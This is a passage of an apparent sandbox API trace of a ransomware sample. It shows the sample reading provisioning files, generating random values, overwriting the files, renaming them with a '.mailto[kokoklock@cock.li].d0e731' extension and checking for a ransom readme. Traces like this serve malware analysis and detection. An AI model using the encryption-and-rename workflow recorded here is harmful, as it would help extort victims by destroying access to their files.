[0088.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcc00 [0088.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcf48 [0088.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcf48) returned 1 [0088.980] WriteFile (in: hFile=0x634, lpBuffer=0x55dcc00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x322bfa74, lpOverlapped=0x0 | out: lpBuffer=0x55dcc00*, lpNumberOfBytesWritten=0x322bfa74*=0x20, lpOverlapped=0x0) returned 1 [0088.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcc00) returned 1 [0088.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0088.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0088.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9bf8) returned 1 [0088.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcdb8) returned 1 [0088.981] WriteFile (in: hFile=0x634, lpBuffer=0x55dcd90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x322bfaa0, lpOverlapped=0x0 | out: lpBuffer=0x55dcd90*, lpNumberOfBytesWritten=0x322bfaa0*=0x8, lpOverlapped=0x0) returned 1 [0088.981] WriteFile (in: hFile=0x634, lpBuffer=0x322bfab8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x322bfaa0, lpOverlapped=0x0 | out: lpBuffer=0x322bfab8*, lpNumberOfBytesWritten=0x322bfaa0*=0x4, lpOverlapped=0x0) returned 1 [0088.981] WriteFile (in: hFile=0x634, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x322bfaa0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x322bfaa0*=0x4, lpOverlapped=0x0) returned 1 [0088.981] WriteFile (in: hFile=0x634, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x322bfaa0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x322bfaa0*=0x6c, lpOverlapped=0x0) returned 1 [0088.981] WriteFile (in: hFile=0x634, lpBuffer=0x55dcef8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x322bfaa0, lpOverlapped=0x0 | out: lpBuffer=0x55dcef8*, lpNumberOfBytesWritten=0x322bfaa0*=0x20, lpOverlapped=0x0) returned 1 [0088.981] WriteFile (in: hFile=0x634, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x322bfaa0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x322bfaa0*=0x4, lpOverlapped=0x0) returned 1 [0088.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcef8) returned 1 [0088.982] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcf20) returned 1 [0088.982] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcd90) returned 1 [0088.982] CloseHandle (hObject=0x634) returned 1 [0088.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x19c) returned 0x342c510 [0088.982] wcscpy (in: _Dest=0x342c510, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" [0088.982] wcscat (in: _Dest=0x342c510, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0088.982] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0088.982] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0088.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c510) returned 1 [0088.983] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0088.983] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0088.983] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.983] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0088.983] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0088.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0088.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55db5a0) returned 1 [0088.983] RtlExitUserThread (Status=0x1) Thread: id = 1456 os_tid = 0x1414 [0088.830] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml")) returned 0x20 [0088.927] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0088.944] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0088.944] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x3233fe0c | out: lpFileSize=0x3233fe0c*=786) returned 1 [0088.944] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x30e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.944] ReadFile (in: hFile=0x514, lpBuffer=0x3233fde0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3233fddc, lpOverlapped=0x0 | out: lpBuffer=0x3233fde0*, lpNumberOfBytesRead=0x3233fddc*=0x4, lpOverlapped=0x0) returned 1 [0088.945] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.945] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcf20 [0088.946] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcea8 [0088.946] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dccf0 [0088.946] NtQuerySystemTime (in: CurrentTime=0x3233fdb8 | out: CurrentTime=0x3233fdb8*=132121176468342821) returned 0x0 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xf00fa456 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x7dc6d706 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xd9773cd4 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x619d10fd [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x667e8a0d [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xe94dcebc [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xc89f003c [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x62ab7755 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xe0adcc62 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x1df9d697 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xfa9f3645 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xee7ae5d1 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x9b783b10 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xf4d00ede [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x34f7d6f0 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x6dff1d00 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xb994ed42 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x6f839908 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xc3796f84 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xfd7671b [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x640a0dd2 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x41721440 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x147ba339 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x165f66c0 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xf4c2ce3c [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x6e0287a9 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xacdd7a3e [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x1dc91161 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xbbec5470 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xd635493f [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0xde1586c9 [0088.946] RtlRandom (in: Seed=0x3233fdc4 | out: Seed=0x3233fdc4) returned 0x5a54394f [0088.962] ReadFile (in: hFile=0x514, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x312, lpNumberOfBytesRead=0x3233fdb8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x3233fdb8*=0x312, lpOverlapped=0x0) returned 1 [0088.963] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3233fd80 | out: lpNewFilePointer=0x0) returned 1 [0088.963] WriteFile (in: hFile=0x514, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x312, lpNumberOfBytesWritten=0x3233fdb4, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x3233fdb4*=0x312, lpOverlapped=0x0) returned 1 [0088.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcfc0 [0088.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcbb0 [0088.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcbb0) returned 1 [0088.963] WriteFile (in: hFile=0x514, lpBuffer=0x55dcfc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3233fdb0, lpOverlapped=0x0 | out: lpBuffer=0x55dcfc0*, lpNumberOfBytesWritten=0x3233fdb0*=0x20, lpOverlapped=0x0) returned 1 [0088.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcfc0) returned 1 [0088.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0088.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0088.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ea030) returned 1 [0088.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcdb8) returned 1 [0088.963] WriteFile (in: hFile=0x514, lpBuffer=0x55dcde0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3233fddc, lpOverlapped=0x0 | out: lpBuffer=0x55dcde0*, lpNumberOfBytesWritten=0x3233fddc*=0x8, lpOverlapped=0x0) returned 1 [0088.963] WriteFile (in: hFile=0x514, lpBuffer=0x3233fdf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3233fddc, lpOverlapped=0x0 | out: lpBuffer=0x3233fdf4*, lpNumberOfBytesWritten=0x3233fddc*=0x4, lpOverlapped=0x0) returned 1 [0088.963] WriteFile (in: hFile=0x514, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3233fddc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x3233fddc*=0x4, lpOverlapped=0x0) returned 1 [0088.963] WriteFile (in: hFile=0x514, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x3233fddc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x3233fddc*=0x6c, lpOverlapped=0x0) returned 1 [0088.963] WriteFile (in: hFile=0x514, lpBuffer=0x55dcea8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3233fddc, lpOverlapped=0x0 | out: lpBuffer=0x55dcea8*, lpNumberOfBytesWritten=0x3233fddc*=0x20, lpOverlapped=0x0) returned 1 [0088.964] WriteFile (in: hFile=0x514, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3233fddc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x3233fddc*=0x4, lpOverlapped=0x0) returned 1 [0088.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcea8) returned 1 [0088.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcc00) returned 1 [0088.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcde0) returned 1 [0088.964] CloseHandle (hObject=0x514) returned 1 [0088.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x186) returned 0x342c510 [0088.964] wcscpy (in: _Dest=0x342c510, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" [0088.964] wcscat (in: _Dest=0x342c510, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0088.964] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0088.965] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0088.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c510) returned 1 [0088.965] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0088.965] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348b058 [0088.965] wcscpy (in: _Dest=0x348b058, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.965] wcscat (in: _Dest=0x348b058, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0088.965] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0088.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b058) returned 1 [0088.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34759b0) returned 1 [0088.965] RtlExitUserThread (Status=0x1) Thread: id = 1457 os_tid = 0x1420 [0088.830] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0088.925] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0088.925] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x634 [0088.926] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x323bfa54 | out: lpFileSize=0x323bfa54*=714) returned 1 [0088.926] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x2c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.926] ReadFile (in: hFile=0x634, lpBuffer=0x323bfa28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x323bfa24, lpOverlapped=0x0 | out: lpBuffer=0x323bfa28*, lpNumberOfBytesRead=0x323bfa24*=0x4, lpOverlapped=0x0) returned 1 [0088.927] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dccf0 [0088.928] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcc00 [0088.928] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcd18 [0088.928] NtQuerySystemTime (in: CurrentTime=0x323bfa00 | out: CurrentTime=0x323bfa00*=132121176468186674) returned 0x0 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x9569bb63 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x6b0f7c68 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0xf3a925b7 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x3d344312 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x49657f58 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x69e27384 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x9b3dfba6 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x89e1c346 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0xce309b25 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0xeedc9ec8 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x694fca3b [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0xe3499540 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x661f0f6f [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x13890058 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0xe7d9e9cf [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0xe797c5f8 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0xf71917d2 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x3af9eb07 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x637bfa19 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0xd0c2b922 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x38af9be6 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x531080d6 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x21335c34 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x36211744 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x34cadeb5 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0xa09c38bd [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x1935870b [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0x3d9b121b [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0xf4f13e91 [0088.928] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0xa219852b [0088.929] RtlRandom (in: Seed=0x323bfa0c | out: Seed=0x323bfa0c) returned 0xaa065907 [0088.929] 